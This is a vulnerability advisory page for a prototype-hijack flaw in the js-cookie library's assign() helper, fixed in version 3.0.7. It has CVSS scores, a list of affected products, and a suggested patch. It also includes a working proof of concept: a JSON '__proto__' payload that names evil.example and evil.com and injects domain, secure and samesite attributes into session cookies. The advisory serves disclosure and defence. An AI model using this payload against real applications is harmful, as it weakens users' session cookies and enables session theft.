7.5high
JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection
- Severity
- 7.5high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.92% (higher than 61% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qjx8-664m-686j
Description
JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| js-cookie js-cookie | < 3.0.7 | CVE List |
| cryostat/cryostat-grafana-dashboard-rhel9 | Not specified Not affected: from 4.2.0-13 before * | CVE List |
| advanced-cluster-security/rhacs-main-rhel8 | Not specified Not affected: from 1783357140 before * | CVE List |
| ansible-automation-platform/automation-portal | Not specified Not affected: from 1787047114 before *, from 1787047188 before * | CVE List |
| ansible-automation-platform-27/gateway-rhel9 | Not specified Not affected: from 1787218409 before * | CVE List |
| rhdh/red-hat-developer-hub-backstage-plugin-lightspeed | Not specified Not affected: from 1785333413 before * | CVE List |
| rhdh/red-hat-developer-hub-backstage-plugin-orchestrator | Not specified Not affected: from 1785340831 before * | CVE List |
| rhdh/red-hat-developer-hub-backstage-plugin-orchestrator-form-widgets | Not specified Not affected: from 1785332928 before * | CVE List |
| rhdh/rhdh-hub-rhel9 | Not specified Not affected: from 1785411652 before *, from 1785972843 before * | CVE List |
| rhoai/odh-dashboard-rhel9 | Not specified Not affected: from 1787347991 before * | CVE List |
| rhoai/odh-mod-arch-automl-rhel9 | Not specified Not affected: from 1787250508 before * | CVE List |
| rhoai/odh-mod-arch-autorag-rhel9 | Not specified Not affected: from 1787251550 before * | CVE List |
| rhoai/odh-mod-arch-gen-ai-rhel9 | Not specified Not affected: from 1786611759 before * | CVE List |
| rhoai/odh-mod-arch-maas-rhel9 | Not specified Not affected: from 1787251250 before * | CVE List |
| rhoai/odh-mod-arch-mlflow-rhel9 | Not specified Not affected: from 1786612219 before * | CVE List |
| rhoai/odh-mod-arch-model-registry-rhel9 | Not specified Not affected: from 1787250617 before * | CVE List |
| openshift-service-mesh/kiali-ossmc-rhel9 | Not specified Not affected: from 1782231869 before * | CVE List |
| openshift-service-mesh/kiali-rhel9 | Not specified Not affected: from 1782201466 before * | CVE List |
| openshift-lightspeed/lightspeed-console-plugin-419-rhel9 | Not specified | CVE List |
| openshift-lightspeed/lightspeed-console-plugin-rhel9 | Not specified | CVE List |
| 3scale-amp21/system | Not specified | CVE List |
| 3scale-amp22/system | Not specified | CVE List |
| 3scale-amp2/system-rhel7 | Not specified | CVE List |
| 3scale-amp2/system-rhel8 | Not specified | CVE List |
| 3scale-amp2/system-rhel9 | Not specified | CVE List |
| automation-gateway | Not specified | CVE List |
| automation-hub | Not specified | CVE List |
| automation-platform-ui | Not specified | CVE List |
| python3.11-galaxy-ng | Not specified | CVE List |
| python3.12-galaxy-ng | Not specified | CVE List |
| python3x-galaxy-ng | Not specified | CVE List |
| python-galaxy-ng | Not specified | CVE List |
| discovery/discovery-ui-rhel9 | Not specified | CVE List |
| grafana-pcp | Not specified | CVE List |
| grafana | Not specified | CVE List |
| js-cookie | Not specified | CVE List |
| rhoai/odh-mod-arch-eval-hub-rhel9 | Not specified | CVE List |
| openshift4/ose-agent-installer-ui-rhel9 | Not specified | CVE List |
| js-cookie (npm) | before 3.0.7 | GitHub Advisory Database |
| js-cookie javascript_cookie | before 3.0.7 | NVD |
| redhat 3scale_api_management | 2.0 | NVD |
| redhat ansible_automation_platform | 2.0 | NVD |
| redhat openshift_ai | Not specified | NVD |
| redhat openshift_lightspeed | Not specified | NVD |
| redhat enterprise_linux | 8.0, 9.0, 10.0 | NVD |
All scores
| GitHub_M | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| redhat-SADP | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
Classification
What each source says
CVE List
JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.
GitHub Advisory Database
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
// src/assign.mjs — full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}
Proof of concept
Node 22.11.0, no third-party deps:
Environment setup
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie
PoC
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);
Execution: cls-2026-05-14-01 44 39
Suggested patch
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}
Equivalent one-liner alternative - iterate own names only and filter:
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}
NVD (es)
JavaScript Cookie es una API de JavaScript para manejar cookies, del lado del cliente. Antes de la versión 3.0.7, la función auxiliar interna assign() de js-cookie copia propiedades con for...in + asignación simple. Cuando el objeto fuente es producido por JSON.parse, el miembro __proto__ del objeto JSON es una propiedad enumerable propia, por lo que el for...in lo enumera y la escritura target[key] = source[key] activa el setter Object.prototype.__proto__ en el nuevo objetivo ({}). El resultado es un secuestro de prototipo por instancia: Object.prototype en sí no se modifica, pero el objeto de atributos fusionados ahora hereda claves controladas por el atacante. Debido a que la función set() consumidora luego enumera el objeto fusionado con otro for...in, cada clave que el atacante colocó en el prototipo contaminado termina en la cadena Set-Cookie resultante como un par de atributos. El atacante puede establecer domain=, secure=, samesite=, expires=, y path= en cookies cuyos atributos el desarrollador pensó que estaban bloqueados. Este problema ha sido parcheado en la versión 3.0.7.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-46625 changed 2026-09-09 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qjx8-664m-686j changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-46625 changed 2026-09-09 | Public domain |